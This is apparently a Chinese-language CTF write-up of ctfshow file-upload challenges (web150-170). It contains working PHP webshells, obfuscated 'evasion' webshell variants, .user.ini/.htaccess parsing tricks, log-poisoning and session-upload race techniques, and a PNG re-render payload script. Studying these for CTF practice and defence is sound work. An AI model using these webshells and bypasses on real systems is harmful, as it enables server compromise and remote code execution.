1. 程式人生 > 其它 >ctfshow_web 入門 檔案上傳

ctfshow_web 入門 檔案上傳

檔案上傳

還是是一邊學習一邊做筆記的文章,由於是學習,所以會顯得囉嗦
還請各位師傅擔待~
如果有不正確的地方,請師傅們斧正謝謝師傅們

web150

火狐關閉js的外掛一旦開啟,就沒法點選上傳按鈕了。

而且這裡沒法上傳.php .jpg等字尾檔案,只能選擇png格式圖片。所以只能以夠抓包然後修改內容的方式上傳圖片馬。

同時,一旦圖片格式滿足,就自動上傳了。

開啟burp開啟,然後上傳一張png格式圖片,在burp抓的包中新增一句話木馬<?php eval($_POST['cmd']);?>,修改圖片字尾為.php上傳

訪問對應網頁即可

web151

同web150

web152

首先嚐試上傳php

字尾檔案,發現不行。所以上傳.user.ini配置檔案,因為是nginx系統,所以配置檔案是.user.ini.htaccess和.user.ini配置檔案妙用

同樣,上傳png檔案,burp抓包修改檔案資訊(將資訊傳入repeater之後可以反覆修改,反覆提交),檔名修改為.user.ini,內容新增auto_prepend_file=meima.png。再上傳一個名為meima.png的圖片馬即可

最後訪問/url/upload/index.php,用cmd=system('tac /var/www/html/f*');輸入命令獲取flag就好

web 154

同樣,先上傳.user.ini,內容auto_prepend_file=meima.png

,接著上傳名為meima.png的圖片馬。

就可以利用上一關的repeater中的資料包,將host給修改一下就可以。

.user.ini

auto_prepend_file=meima.png

同時,圖片馬:

meima.png

<?= eval($_POST['cmd']);?>

同樣,在火狐中,將host給修改一下,繼續執行即可,命令都不需要改

web 155

嫖web154,操作完全一致

web 156

為啥我上傳沒有馬的png也不行呢?哦,原來是檔案內容太長了。

整一個短一點的馬兒或者是將抓到的包的資訊給改少一點。

過濾了[],用{}進行繞過

因為之前上傳過一次

<? `tac /var/www/html/f*`;?>	也可能是沒有加echo,這個有點不太清楚

但是顯示結果卻是:no thing here ,所以這裡打算覆盤一下,用webshell,寫一個php檔案進去測試;最後用蟻劍連線之後發現,建立了檔案,但是檔案中沒有內容

最後可以直接用蟻劍寫入檔案,

所以說,在``之前是需要加上echo 的;

``相當於是shell_exec()函式

同樣,也可以直接從burp中修改命令,然後反覆上傳以達到目的,原來的檔案會被替換掉

web 157

額,看樣子貌似是過濾了,可以上傳拿到flag

<? echo `tac /var/www/html/f*`?>

PHP最後一句可以不用加;,貌似只是針對這種邏輯簡單的可以不加,一些邏輯比較複雜的程式碼最後還是是需要加的

web 158

用157的方法,直接拿下

web 159

貌似過濾了system或者()

用157的方法,直接拿下

web 160

這個題過濾了空格 ()

額,還記得檔案包含的web82不,那個上傳session檔案的解題方式,這題也用那個方式

一共要準備四個包;

一個上傳.user.ini檔案上傳包,一個1.png檔案上傳包;一個url/upload/index.php反覆請求包,一個session反覆上傳包;

接著條件競爭,

一個burp一直請求/url/upload/index.php

另一邊,一直上傳檔案

訪問/url/test1.php,如果有頁面就成功,沒有就失敗,重來一次就行

拿到flag

Firebasky師傅的wp中提到,auto_prepend_file的配置相當於檔案包含。

web 161

有檔案頭的一個判斷,選擇GIF89a的檔案頭,比較方便記憶與繞過

順帶看一下,圖片有沒有被修改,發現,(我們的圖安然無恙!)

在檔案頭前面加上GIF89a,然後就可以白嫖web160的方法了

方法二:日誌包含

在user-agent中加入一句話木馬,然後在圖片中加入引入日誌檔案的程式碼

在配置檔案.user.ini中,將auto_prepend_file設定為:1.png

接著訪問url/upload/index.php,那麼就會執行1.png的程式碼,由於1.png引入日誌檔案,那麼日誌檔案中的一句話木馬就會被執行

突然想問一句,既然auto_prepend_file能進行檔案包含,那麼是不是可以直接從auto_prepend_file入手日誌檔案呢?不行

web 162

過濾了.,但是發現,可以直接上傳,可以白嫖上面的方法,上傳檔案1的時候,檔案內容一定要少

web 163

發現一個以前沒有注意過的點:
如果是用數字來作為post陣列的鍵時,不能夠用引號括起來,不然利用session寫入木馬時會無法寫入

所以所以這裡就卡了很久,但是依舊沒有上傳請求成功

web 164(png圖片二次渲染)

這個題怎麼說呢,沒有發現有一個download.php檔案,所以也就不知道怎麼去做。

所以我這裡也就直接照搬做出來的大佬的筆記了

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'1.png'); #儲存在本地的圖片馬
?>

上傳圖片成功之後,訪問url/download.php?iamge=xxxx&0=system post傳入:1=cat flag.php

就可以得到flag

web 165

jpg圖片渲染用164指令碼依舊可行,只是我這裡一直上傳不了

web 166

上傳zip檔案,在zip檔案中寫入一句話,通過download.php進行下載,然後rce

由於下載時是GET方式,所以之類馬兒裡也用的get方式

這裡注意到download.php,就順帶看了一下,因為最之前不知道如何通過download.php進行檔案包含的,哦~原來裡面有一個include($file)

web 167

看到httpd,想到是不是Apache。於是F12通過network檢視,

上傳.htaccess,這題需要上傳jpg格式的馬兒,同時寫入

AddType application/x-httpd-php .jpg

?為什麼我開的題目環境一直出問題???

不過按理來說,訪問/url/upload/1.jpg即可;

原來是配置檔案解析錯誤,上傳的配置檔案中,只寫一句和解析有關的就夠了,多餘的刪除,否則會有500的錯誤

大佬的wp

web 168

可以直接上傳.php檔案

檢視flag,反引號是shell_exec()函式的簡寫;需要用echo來進行輸出

看了羽師傅部落格,又l瞭解到了很多:

<?php
$a = "s#y#s#t#e#m";
$b = explode("#",$a);
$c = $b[0].$b[1].$b[2].$b[3].$b[4].$b[5];
$c($_REQUEST[1]);
?>
<?php
$a=substr('1s',1).'ystem';
$a($_REQUEST[1]);
?>
<?php
$a=strrev('metsys');
$a($_REQUEST[1]);
?>
<?php
$a=$_REQUEST['a'];
$b=$_REQUEST['b'];
$a($b);
?>

web 169

直接將<過濾了,所以也沒有辦法執行PHP程式碼,於是這題考慮日誌包含

同時,上傳時,需要burp抓包上傳,上傳zip檔案,並且將file_content修改為image/png才能成功上傳

在user-agent中寫入一句話木馬,<?php eval($_POST['cmd']);?>

上傳一個.user.ini檔案,auto_prepend_file=/var/log/nginx/access.log

上傳一個1.php檔案,內容隨便寫123,因為url/upload/目錄下沒有檔案,所以需要寫一個檔案來承接.user.ini

接著就可以訪問/url/upload/1.php,然後rce

也可以用蟻劍連線,方便找flag。

web 170

同上

解題

上傳配置檔案,然後傳馬

馬兒內容

短標籤馬兒:
	一般的馬兒:
<?php eval($_POST['cmd']);?>
	沒有PHP的馬兒
<?= eval($_POST['cmd']);?>
<? eval($_POST['cmd']);?>
<% eval($_POST['cmd']);%>
	有PHP的馬兒
<script language="php"></script>

特殊馬兒:
	過濾[]:用{}代替
	<?= eval($_POST['cmd']);?>

直接拿flag的變形馬兒
	<? echo `tac /var/www/html/f*`;?>
	<? echo `tac /var/www/html/f*`?>
	
免殺馬兒:
<?php
$a = "s#y#s#t#e#m";
$b = explode("#",$a);
$c = $b[0].$b[1].$b[2].$b[3].$b[4].$b[5];
$c($_REQUEST[1]);
?>

<?php
$a=substr('1s',1).'ystem';
$a($_REQUEST[1]);
?>

<?php
$a=substr('1s',1).'ystem';
$a($_REQUEST[1]);
?>

<?php
$a=substr('1s',1).'ystem';
$a($_REQUEST[1]);
?>

上傳配置檔案,上傳sessionid的馬兒

.user.ini檔案中寫入auto_prepend_file=1.png

1.png中寫入<?include"/tmp/sess_test"?>,此處sess_test中的test是PHPSESSIDd的值

uplaod_session.php

<html>
<body>
<form action="http://fece0c1e-a60a-49b8-afde-a015f784c864.challenge.ctf.show:8080/" method="post" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php file_put_contents('/var/www/html/test1.php','<?php eval($_POST[1]);?>')?>">
<input type="file" name="file">
<input type="submit" value="submit">
</form>
</body>
</html>
此處程式碼,抓包後在cookie位置新增:PHPSESSID=test

格式

GIF89a

注意:

發現一個以前沒有注意過的點:
如果是用數字來作為post陣列的鍵時,不能夠用引號括起來,不然利用session寫入木馬時會無法寫入

謝謝師傅們觀看~